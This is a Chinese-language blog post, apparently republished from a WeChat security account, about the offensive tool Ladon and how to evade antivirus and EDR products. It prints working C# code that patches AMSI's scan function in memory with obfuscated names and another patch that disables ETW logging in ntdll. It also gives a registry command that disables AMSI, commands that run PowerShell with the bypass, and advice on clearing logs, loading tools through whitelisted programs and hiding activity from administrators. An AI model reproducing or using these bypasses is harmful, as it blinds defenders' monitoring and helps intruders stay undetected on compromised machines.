Ladon绕过AMSI执行PowerShell 绕过EDR

admin 2023年4月2日20:07:53评论68 views字数 9840阅读32分48秒阅读模式

Ladon绕过AMSI执行PowerShell 绕过EDR

上面的图片是AI画的,还可以吧。想用AI来画图标的,不太懂描述

Ladon 10.10.2 20230402

[+]clsLog    清除崩溃日志、UsageLog日志、清除图标缓存、禁止UsageLog日志记录[u]默认禁止基于.net程序UsageLog日志记录(如各类工具、powershell等)防止蓝队或EDR通过日志审计[u]RunPS     无PowerShell.exe执行*.ps1脚本 新增内存绕过AMSI反病毒查杀接口[+]默认Bypass ETW 绕过部分杀软和EDR监控[+]HPreboot      SNMP重启HP打印机 .net>=4.0


什么是AMSI?

Antimalware Scan Interface(AMSI)译为反病毒恶意软件扫描接口,它是一种防御机制,用于检查 PowerShell、UAC等是否有恶意数据传入。它主要针对在 PowerShell 或其他 AMSI 集成环境中执行的命令和脚本。如果检测到任何恶意内容,AMSI将停止执行并将其发送至 Windows Defender进一步分析。

目前防病毒软件更新迭代速度较快,具有许多发现恶意软件和威胁的检测机制。但是,当防病毒软件无法检查完全依赖于内存且不落在磁盘上的文件内容时,对 AMSI的需求就会增加。防病毒软件会对磁盘上的文件和试图创建进程的文件执行检测。但是,如果攻击者试图通过命令或恶意无文件脚本执行在内存中加载运行时,AMSI就会对命令或无文件脚本中的恶意内容进行检测。

Ladon绕过AMSI执行PowerShell 绕过EDR


amsi是所有杀毒软件都可以调用吗?并不是!
amsi是在Windows 10 和Windows Server 2016 之后才有的,然后并不是所有的杀毒软件都可以调用amsi接口。国内的基本都不可以。

github上有一个项目记录了可以调用amsi的EDR或杀毒软件

https://github.com/subat0mik/whoamsi/

列举几个DER:CrowdStrike Falcon、SentinelOne、Check Point

列举几个杀软:卡巴、Symantec、McAfee、Avast、AVG

所以我们绕过AMSI,可能也能绕过不少EDR和杀软,就算不能过,也能减掉恶意分值,其它再做处理,分值少了,就不被判定为恶意了。

在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件,存在于 c:windowssystem32amsi.dll。

目前AMSI功能已集成到Windows 10的这些组件中

1.用户账户控制,也就是UACEXECOMMSIActiveX的安装)     %windir%System32consent.exe2.Powershell(脚本、交互式使用、动态代码求值)    System.Management.Automation.dll3.Windows脚本宿主    wscript.exe    cscript.exe4.JavaScriptVBScript    %windir%System32jscript.dll    %windir%System32vbscript.dll5.Office VBA macros(宏)    VBE7.dll6 .NET Assembly    clr.dll7.WMI
%windir%System32wbemfastprox.dll


绕过AMSI方法

1.降级攻击

因为低版本(2.0)的powershell是没有amsi的,所以在powershell2.0上执行恶意脚本就不会被检测到

下图是powershell在各个系统上的预装情况,可以看到现在常见的win10、Windows 2016、2019很少预装有powershell2.0(amsi是从win10、2016开始存在的),但是由于很多服务需要低版本的powershell,所以在红蓝对抗中也会碰到装有powershell2.0 的机器。

2.注册表禁用(需要管理员权限)

Remove-Item -Path "HKLM:SoftwareMicrosoftWindows ScriptSettingsAmsiEnable" -Recurse


3.Ladon内存补丁绕过

方法很多,大家自己看别人的总结文章,我就不重复了,下面是Ladon用法

Load RunPSUsage:Ladon RunPS -f hello.ps1Ladon RunPS -c "echo test"Ladon RunPS bypassLadon RunPS default

PS:最初设计是为了对抗目标删除powershell或禁用powershell执行设计的,还有LadonGUI上的PowerShell转EXE功能,同样可应对目标删除或禁止powershlel情况,但都会有一个问题,就是AMSI可能会拦截 脚本。

检测AMSI是否激活

echo "amsiutils"

只要代码或脚本中出现amsiutils字符串,执行就会提示脚本包含恶意内容,早期的版本不会这样,因为有很多绕过它的脚本或命令,所以不知道什么时候,微软检测到这个字符串就当成病毒,所以我们不用表达式,使用这个字符串就能检测目标是否激活AMSI。

Ladon绕过AMSI执行PowerShell 绕过EDR

尝试问问GPT

Ladon绕过AMSI执行PowerShell 绕过EDR

Ladon绕过AMSI执行PowerShell 绕过EDR

Ladon绕过AMSI执行PowerShell 绕过EDR

使用LadonGUI里的PowerShell混淆功能,将它给的原始代码混淆

Ladon绕过AMSI执行PowerShell 绕过EDR

在Win11打开,无法转换,会提示报毒,所以在Win8里完成混淆

Ladon绕过AMSI执行PowerShell 绕过EDR

测了很多次都失败

Ladon绕过AMSI执行PowerShell 绕过EDR

其实它给的方法都比较旧也少没有公开资料丰富,加混淆了也不行,毕竟它的库是2021年的,这还是个镜像,就算不是镜像,很多内容也未必能用,好多次重复答案,最主要没一个能用的,就懒得问它了,直接Google找了几篇文章,测试多种方法,以下代码有效。

using System;using System.ComponentModel;using System.Management.Automation;using System.Reflection;using System.Runtime.CompilerServices;using System.Runtime.InteropServices;using System.Text;
namespace Editor { public static class Methods { public static void Patch() { MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static); MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static); Methods.Patch(original, replacement); }
[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)] private static int Dummy(string content, string metadata) { return 1; }
public static void Patch(MethodInfo original, MethodInfo replacement) { //JIT compile methods RuntimeHelpers.PrepareMethod(original.MethodHandle); RuntimeHelpers.PrepareMethod(replacement.MethodHandle);
//Get pointers to the functions IntPtr originalSite = original.MethodHandle.GetFunctionPointer(); IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();
//Generate architecture specific shellcode byte[] patch = null; if (IntPtr.Size == 8) { patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 }; byte[] address = BitConverter.GetBytes(replacementSite.ToInt64()); for (int i = 0; i < address.Length; i++) { patch[i + 2] = address[i]; } } else { patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 }; byte[] address = BitConverter.GetBytes(replacementSite.ToInt32()); for (int i = 0; i < address.Length; i++) { patch[i + 1] = address[i]; } }
//Temporarily change permissions to RWE uint oldprotect; if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) { throw new Win32Exception(); }
//Apply the patch IntPtr written = IntPtr.Zero; if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) { throw new Win32Exception(); }
//Flush insutruction cache to make sure our new code executes if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) { throw new Win32Exception(); }
//Restore the original memory protection settings if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) { throw new Win32Exception(); } }
private static string Transform(string input) { StringBuilder builder = new StringBuilder(input.Length + 1); foreach(char c in input) { char m = (char)((int)c - 1); builder.Append(m); } return builder.ToString(); }
[DllImport("kernel32.dll", SetLastError = true)] private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
[DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)] private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)] private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
private static readonly string CLASS = Methods.Transform("Tztufn/Nbobhfnfou/Bvupnbujpo/BntjVujmt"); private static readonly string METHOD = Methods.Transform("TdboDpoufou"); }}

提取以上核心代码,集成到Ladon的RunPS模块,成功绕过AMSI

Ladon RunPS -f hello.ps1Ladon RunPS f hello.ps1


Ladon绕过AMSI执行PowerShell 绕过EDR

当然也可以通过Ladon直接执行powershell代码

Ladon RunPS -c whoamiLadon RunPS c "powershell代码"

Ladon绕过AMSI执行PowerShell 绕过EDR

至止,我们搞定其中一个绕过杀软EDR的方法,不能保证能过最新版杀软或EDR,因为它们不只是通过这一方法检测,而是利用多种方法检测,家里没有环境我也没办法验证,就算有我也不可能花时间一个一个去验证调式如何绕过。但是如果遇到旧版杀软或EDR,旧Win10、11该方法还是有效的。比方说有人杀人,监控可以看到人,解决AMSI相当于解决了监控,但是如果有很多人证的话,你也跑不了,因为监控只是其中一个而已,实战需要组合多种方法,同时使用才能绕过。

0x002 隐藏.NET程序

随着时间的推移,人们对 Windows 事件跟踪产生了时断时续的兴趣 (ETW)。ETW 首次在 Windows 2000 中引入,是一种轻型内核级跟踪工具,最初用于调试、诊断和性能。然而,防御者逐渐意识到 ETW 提供的指标和数据内容在没有定制开发工作的情况下是无法获得的。即便如此,除了行业中的一些大公司之外,人们在采用 ETW 作为检测和研究的数据源方面进展缓慢。ETW 的两个主要问题是:事件收集中涉及的复杂性,以及生成的数据量。从工程学的角度来看,大海捞针的任务并不一定有吸引力(你如何存储数据?你如何处理数据?数据真的有价值吗?我们又在寻找什么?)。

我们最新的工具 SilkETW旨在将可操作的 ETW 数据交到研究人员手中,无论是在行业的防守端还是进攻端。它试图通过提供一个简单的数据收集界面、各种过滤机制和易于处理的输出格式来缓解上述问题。该项目最初由 FireEye 高级实践 (AP) 团队实施,旨在帮助快速分析新型攻击者的交易技巧,并将该分析反馈回检测工程流程。

什么是 ETW

ETW(Event Trace for Windows) 是一个高效的内核级别的事件追踪机制,它可以记录系统内核或是应用程序的事件 (进程、文件、网络、注册表等行为) 到 Windows 日志文件, Process Monitor 工具以及大名鼎鼎的 Sysmon 也是基于 ETW 进行事件跟踪,有很多的 EDR 都是基于该数据源进行检测
如前所述,SilkETW 不仅仅是一种防御工具。ETW 数据可用于诊断,有助于逆向工程、漏洞研究、检测和规避。

查看进程中加载的程序集的一种简单方法是使用 ProcessHacker,这个工具很强大,很多管理员也喜欢用来手工查找恶意工具。因为CS强大的程序集加载功能,很多人可以快速开发内存加载插件,即使不是CS,真正算得上高级C2,这个功能应该是其中一个指标吧。

Ladon绕过AMSI执行PowerShell 绕过EDR

ETW补丁代码

//unhook etwusing System;using System.Reflection;using System.Runtime.InteropServices;
namespace test{ class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); }
class Program { static void Main(string[] args) { Console.WriteLine("ETW Unhook Example @_xpn_");
// Used for x86, I'll let you patch for x64 ;) PatchEtw(new byte[] { 0xc2, 0x14, 0x00 });
Console.WriteLine("ETW Now Unhooked, further calls or Assembly.Load will not be logged"); Console.ReadLine(); //Assembly.Load(new byte[] { }); }
private static void PatchEtw(byte[] patch) { try { uint oldProtect;
var ntdll = Win32.LoadLibrary("ntdll.dll"); var etwEventSend = Win32.GetProcAddress(ntdll, "EtwEventWrite");
Win32.VirtualProtect(etwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect); Marshal.Copy(patch, 0, etwEventSend, patch.Length); } catch { Console.WriteLine("Error unhooking ETW"); } } }}

现在尝试使用依赖 ETW 作为其信息源的工具时,例如 ProcessHacker,我们将一无所获

现在,如果您愿意,您真的可以在这里发挥创意,例如提供虚假信息或仅过滤掉您不希望防御者看到的指标,除了修补ntdll之外,还有许多其他方法可以禁用 ETW!  EtwEventWrite,但要注意的是,尽管用于防御目的的 ETW 可能会有所帮助,但它有其局限性。

0x003 微软日志监控

很多人一听日志,就以为是个人都随便操作的普通文本日志,我指的不只是log文件(dmp、wer、ini、xml、db等任何能记录到程序操作、动作行为的文件都算),所以文件格式可能是不一样的,最复杂的CIFS日志网上都没有公开工具可直接查看, 以致于在该方法公布几年内,依旧很多杀软和EDR根本不杀隐藏在CIFS日志里的payload,因为扫描的前提是要解析日志文件,如果日志复杂要大,杀软要处理解析的日志多了去,杀软的工作人员能力也不是无敌,也不是什么都会,不可能什么都懂,公开几年的技术,杀软无法查杀,就证明那玩意很复杂,整个github就一个文件格式简单说明。

SilkETW工具是2017年FireEye研发的一个手工分析ETW日志的工具,这个东西可能还没CIFS日志复杂,但为什么从Win2000开始就有,整整17年才有人研发解析工具,去利用这个日志反查或隐藏攻击行为?

微软系统里有很多日志,可能会被EDR或杀软当成数据源监视是否有可疑行为,添加到日志上传到云端,如果同一个进程名产生大量可疑行为,EDR就会报警提示管理员。也有可能一些聪明的蓝队人员,直接根据日志文件发现攻击行为。

比如崩溃日志里看到Ladon.exe,所以为什么很多工具我们要内存加载或改名的原因,改名后,出现的日志文件,对蓝队有很大干扰,因为有很多程序。

Ladon绕过AMSI执行PowerShell 绕过EDR

事件日志

Ladon绕过AMSI执行PowerShell 绕过EDR

.net程序CLR日志,有些工具如sysmon分析工具就看到添加了针对.net程序的检测,不管你是内存加载还是什么,它都会出现在这里。

Ladon绕过AMSI执行PowerShell 绕过EDR

这个日志也是文本的,随便记事本就能查看,rundll32是CS内存加载程序集后出现的日志,从日志里虽然不能直接看到攻击行为和命令,但能从这里确认有程序或进程加载程序集,rundll32并不是.net程序,很明显有程序注入它大概率可以确认受到了攻击,如果我是EDR或杀毒研发人员,肯定将这个行为报警或拦截,意味着你第2次执行时,可能失败,为什么有时我们就是在CS上执行个hello Word也会被杀软拦截或查杀,这里也是其中一个监控点。Ladon插件右键菜单的.NET测试就是Hello World而已,专门用于检测是否拦截这一行为,它杀的不是Ladon本身,而是rundll的CLR加载行为,这个行为会导致你无法加载任何基于.net研发的插件,而不是说它拦截了Ladon。

Ladon绕过AMSI执行PowerShell 绕过EDR

还有通过图标缓存,因为图标可能hash值固定,也能做为其中一个特征

所以针对以上日志,Ladon加了一个模块 ClsLog,可清理上述目录出现的几种日志文件,同时会禁用usersLog日志,启动Ladon默认也会给ETW打上补丁,现在我们又减少了一些恶意分值。

Ladon绕过AMSI执行PowerShell 绕过EDR

注意本文提到的日志并不完整,微软有很多日志记录,具体格式等我都没研究,但杀软和EDR的产品非常多,它们利用来监控的日志非常多,光靠这些隐藏行为是远远不够的,还要做很多事,目前我已知的很多日志也还没完全处理,所以说还不够,但总好过什么都不处理的好。

忘了从哪个版本,Ladon默认都加了签名,也能减少分值

Ladon绕过AMSI执行PowerShell 绕过EDR

5.白名单加载

白加黑,这10几年来永不过时,再强的杀软或EDR都不可能拦截所有程序,注入或却持白名单肯定可以起来,程序起来后,是网络被拦还是行为被拦,那个是其它问题,不能因为程序被杀或被拦了,就否定DLL却持不可用。哪有牛到没边的防护产品,目前还没见到,系统正常程序都启动不了的话,这个产品也无法投入使用,使用白名单程序加载Ladon也可以过很多杀软。比如大家熟悉的msbulild,网上有很多代码例子,大家可以自己研究,先给大家思路,代码暂不公开。

6.payload加密

加密不管对杀软还是EDR依旧有效,也是必须使用的方法之一,首先得保证静态不杀,然后再谈绕过动态吧,在开启amsi的win11机器上,执行powershell版Ladon,功能正常可用。

Ladon绕过AMSI执行PowerShell 绕过EDR

最后再说一点,绕过杀软或EDR这个实际上是由C2来做的,因为C2不做对抗,只单纯做个免杀的话,通过C2执行的命令,EDR都能直接抓到父进程,然后删除。不要说一天只发一个包或一个月才发一个包的后门,不做隐藏有用吗?同一台机器上人家的M,每天操作几百条命令,都不被发现。再者,假如需要通过m执行一堆工具,使用者,对所有工具都添加一堆对抗功能吗?哪个的工作量更大?而且本身绕过杀软和EDR都是写C2必须研究的,就像渗透天天研究相关漏洞一样。

以后会越来越多类似CS具备内存加载执行程序集的后渗透框架,只要C2自身处理好绕过,禁止EDR调用的相关日志接口,或者HOOK相关函数,让EDR无法记录日志,或者说记录了没达到分值,不报警,管理员也很难发现。毕竟管理员要管很多机器,不可能只盯着一台机器看,而且一台机器上的日志也非常多,分值达不到,自然很难发现,所以为什么有些目标装了牛B的EDR,但依旧控了很长时间,打个比方,Github上有很多程序的完整代码,有几个人真的能轻易编译改改就拿去用。监控日志的也一样,一骀机器就一大堆日志,有些每天几万几十万的日志,管理员根本就看不过来,如果它管很多台就更加,所以大家也不用见到EDR就夸张成,没法搞一样,管理员也是人,虽然它有着各种流量审计设备、EDR,但是它不具备AI能力啊,人工介入,意味着需要时间慢慢分析,隐藏成正常程序或它记不到日志,它分析个鬼啊。

原文始发于微信公众号(K8实验室):Ladon绕过AMSI执行PowerShell 绕过EDR

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月2日20:07:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ladon绕过AMSI执行PowerShell 绕过EDRhttps://cn-sec.com/archives/1647490.html

发表评论

匿名网友 填写信息